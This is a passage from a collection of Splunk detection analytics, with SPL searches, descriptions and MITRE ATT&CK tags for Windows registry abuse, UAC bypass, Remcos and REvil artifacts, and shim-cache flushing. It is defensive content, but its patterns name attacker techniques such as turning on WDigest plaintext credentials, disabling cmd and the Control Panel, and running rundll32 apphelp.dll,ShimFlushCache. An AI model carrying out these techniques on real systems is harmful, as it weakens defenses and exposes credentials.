`security_content_ctime(lastTime)` | `disabling_cmd_application_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows command prompt was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling ControlPanel", - "description": "The following analytic detects registry modifications that disable the Control Panel on Windows systems. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel\" with a value of \"0x00000001\". This activity is significant as it is commonly used by malware to prevent users from accessing the Control Panel, thereby hindering the removal of malicious artifacts and persistence mechanisms. If confirmed malicious, this could allow attackers to maintain control over the infected machine and prevent remediation efforts.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_controlpanel_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Control Panel was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling NoRun Windows App", - "description": "The following analytic detects the modification of the Windows registry to disable the Run application in the Start menu. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun\" with a value of \"0x00000001\". This activity is significant because the Run application is a useful shortcut for executing known applications and scripts. If confirmed malicious, this action could hinder system cleaning efforts and make it more difficult to run essential tools, thereby aiding malware persistence.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_norun_windows_app_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows registry was modified to disable run application in window start menu on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Enable WDigest UseLogonCredential Registry", - "description": "The following analytic detects a suspicious registry modification that enables the plain text credential feature in Windows by setting the \"UseLogonCredential\" value to 1 in the WDigest registry path. This detection leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values. This activity is significant because it is commonly used by malware and tools like Mimikatz to dump plain text credentials, indicating a potential credential dumping attempt. If confirmed malicious, this could allow an attacker to obtain sensitive credentials, leading to further compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\System\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest\\\\*\" Registry.registry_value_name = \"UseLogonCredential\" Registry.registry_value_data=0x00000001) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `enable_wdigest_uselogoncredential_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Credential Dumping", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "wdigest registry $registry_path$ was modified in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "FodHelper UAC Bypass", - "description": "The following analytic detects the execution of fodhelper.exe, which is known to exploit a User Account Control (UAC) bypass by leveraging specific registry keys. The detection method uses Endpoint Detection and Response (EDR) telemetry to identify when fodhelper.exe spawns a child process and accesses the registry keys. This activity is significant because it indicates a potential privilege escalation attempt by an attacker. If confirmed malicious, the attacker could execute commands with elevated privileges, leading to unauthorized system changes and potential full system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=fodhelper.exe by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `fodhelper_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious registy keys added by process fodhelper.exe with a parent_process of $parent_process_name$ that has been executed on $dest$ by $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Malicious InProcServer32 Modification", - "description": "The following analytic detects a process modifying the registry with a known malicious CLSID under InProcServer32. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry modifications within the HKLM or HKCU Software Classes CLSID paths. This activity is significant as it may indicate an attempt to load a malicious DLL, potentially leading to code execution. If confirmed malicious, this could allow an attacker to persist in the environment, execute arbitrary code, or escalate privileges, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes by _time Processes.process_id Processes.process_name Processes.dest Processes.process_guid Processes.user | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\CLSID\\\\{89565275-A714-4a43-912E-978B935EDCCC}\\\\InProcServer32\\\\(Default)\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.dest Registry.process_guid Registry.user | `drop_dm_object_name(Registry)` | fields _time dest registry_path registry_key_name registry_value_name process_name process_path process process_guid user] | stats count min(_time) as firstTime max(_time) as lastTime by dest, process_name registry_path registry_key_name registry_value_name user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `malicious_inprocserver32_modification_filter`", - "tags": { - "analytic_story": [ - "Remcos", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The $process_name$ was identified on endpoint $dest$ modifying the registry with a known malicious clsid under InProcServer32.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remcos client registry install entry", - "description": "The following analytic detects the presence of a registry key associated with the Remcos RAT agent on a host. It leverages data from the Endpoint.Processes and Endpoint.Registry data models in Splunk, focusing on instances where the \"license\" key is found in the \"Software\\Remcos\" path. This behavior is significant as it indicates potential compromise by the Remcos RAT, a remote access Trojan used for unauthorized access and data exfiltration. If confirmed malicious, the attacker could gain control over the system, steal sensitive information, or use the compromised host for further attacks. Immediate investigation and remediation are required.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_key_name=*\\\\Software\\\\Remcos*) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |`remcos_client_registry_install_entry_filter`", - "tags": { - "analytic_story": [ - "Remcos", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A registry entry $registry_path$ with registry keyname $registry_key_name$ related to Remcos RAT in host $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Revil Registry Entry", - "description": "The following analytic identifies suspicious modifications in the registry entry, specifically targeting paths used by malware like REVIL. It detects changes in registry paths such as `SOFTWARE\\\\WOW6432Node\\\\Facebook_Assistant` and `SOFTWARE\\\\WOW6432Node\\\\BlackLivesMatter`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry modifications linked to process GUIDs. This activity is significant as it indicates potential malware persistence mechanisms, often used by advanced persistent threats (APTs) and ransomware. If confirmed malicious, this could allow attackers to maintain persistence, encrypt files, and store critical ransomware-related information on compromised hosts.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\SOFTWARE\\\\WOW6432Node\\\\Facebook_Assistant\\\\*\" OR Registry.registry_path=\"*\\\\SOFTWARE\\\\WOW6432Node\\\\BlackLivesMatter*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `revil_registry_entry_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Revil Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry entry $registry_path$ with registry value $registry_value_name$ and $registry_value_name$ related to revil ransomware in host $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 Shimcache Flush", - "description": "The following analytic detects the execution of a suspicious rundll32 command line used to clear the shim cache. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because clearing the shim cache is an anti-forensic technique aimed at evading detection and removing forensic artifacts. If confirmed malicious, this action could hinder incident response efforts, allowing an attacker to cover their tracks and maintain persistence on the compromised machine.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` AND Processes.process = \"*apphelp.dll,ShimFlushCache*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_shimcache_flush_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "rundll32 process execute $process$ to clear shim cache in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Reg exe Process", - "description": "The following analytic identifies instances of reg.exe being launched from a command prompt (cmd.exe) that was not initiated by the user, as indicated by a parent process other than explorer.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names. This activity is significant because reg.exe is often used in registry manipulation, which can be indicative of malicious behavior such as persistence mechanisms or system configuration changes. If confirmed malicious, this could allow an attacker to modify critical system settings, potentially leading to privilege escalation or persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.parent_process_name != explorer.exe Processes.process_name =cmd.exe by Processes.user Processes.process_name Processes.parent_process_name Processes.dest Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.parent_process_name=cmd.exe Processes.process_name= reg.exe by Processes.parent_process_id Processes.dest Processes.process_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename parent_process_id as process_id |dedup process_id| table process_id dest] | `suspicious_reg_exe_process_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Disabling Security Tools", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to add a registry entry.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Registry Modification", - "description": "The following analytic detects modifications to Windows Defender Attack Surface Reduction (ASR) registry settings. It leverages Windows Defender Operational logs, specifically EventCode 5007, to identify changes in ASR rules. This activity is significant because ASR rules are designed to block actions commonly used by malware to exploit systems. Unauthorized modifications to these settings could indicate an attempt to weaken system defenses. If confirmed malicious, this could allow an attacker to bypass security measures, leading to potential system compromise and data breaches.", - "search": "`ms_defender` EventCode IN (5007) | rex field=New_Value \"0x(?\\\\d+)$\" | rex field=Old_Value \"0x(?\\\\d+)$\" | rex field=New_Value \"Rules\\\\\\\\(?[A-Fa-f0-9\\\\-]+)\\\\s*=\" | eval New_Registry_Value=case(New_Registry_Value==\"0\", \"Disabled\", New_Registry_Value==\"1\", \"Block\", New_Registry_Value==\"2\", \"Audit\", New_Registry_Value==\"6\", \"Warn\") | eval Old_Registry_Value=case(Old_Registry_Value==\"0\", \"Disabled\", Old_Registry_Value==\"1\", \"Block\", Old_Registry_Value==\"2\", \"Audit\", Old_Registry_Value==\"6\", \"Warn\") | stats count min(_time) as firstTime max(_time) as lastTime by host, New_Value, Old_Value, Old_Registry_Value, New_Registry_Value, ASR_ID | lookup asr_rules ID AS ASR_ID OUTPUT ASR_Rule | `security_content_ctime(firstTime)`| rename host as dest | `security_content_ctime(lastTime)` | `windows_defender_asr_registry_modification_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR registry modification event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Rule Disabled", - "description": "The following analytic identifies when a Windows Defender ASR rule disabled events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR rule disabled events that are generated when an ASR rule is disabled.", - "search": "`ms_defender` EventCode IN (5007) | rex field=New_Value \"0x(?\\\\d+)$\" | rex field=Old_Value \"0x(?\\\\d+)$\" | rex field=New_Value \"Rules\\\\\\\\(?[A-Fa-f0-9\\\\-]+)\\\\s*=\" | eval New_Registry_Value=case(New_Registry_Value==\"0\", \"Disabled\", New_Registry_Value==\"1\", \"Block\", New_Registry_Value==\"2\", \"Audit\", New_Registry_Value==\"6\", \"Warn\") | eval Old_Registry_Value=case(Old_Registry_Value==\"0\", \"Disabled\", Old_Registry_Value==\"1\", \"Block\", Old_Registry_Value==\"2\", \"Audit\", Old_Registry_Value==\"6\", \"Warn\") | search New_Registry_Value=\"Disabled\" | stats count min(_time) as firstTime max(_time) as lastTime by host, New_Value, Old_Value, Old_Registry_Value, New_Registry_Value, ASR_ID | lookup asr_rules ID AS ASR_ID OUTPUT ASR_Rule | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_rule_disabled_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR rule disabled event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Deleted Registry By A Non Critical Process File Path", - "description": "The following analytic detects the deletion of registry keys by non-critical processes. It leverages Endpoint Detection and Response (EDR) data, focusing on registry deletion events and correlating them with processes not typically associated with 